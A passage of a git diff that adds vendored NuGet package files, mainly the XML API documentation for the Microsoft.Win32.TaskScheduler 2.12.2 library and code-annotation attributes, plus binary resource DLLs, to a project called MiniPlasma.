foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f2da932 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..62bc1dc Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8fe3b55 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fe0047e Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f3ab60c Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..5e8eb05 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f3eb272 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..aed7213 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1ae0efb Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a367300 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..e4b7235 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..44bd0ea Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the 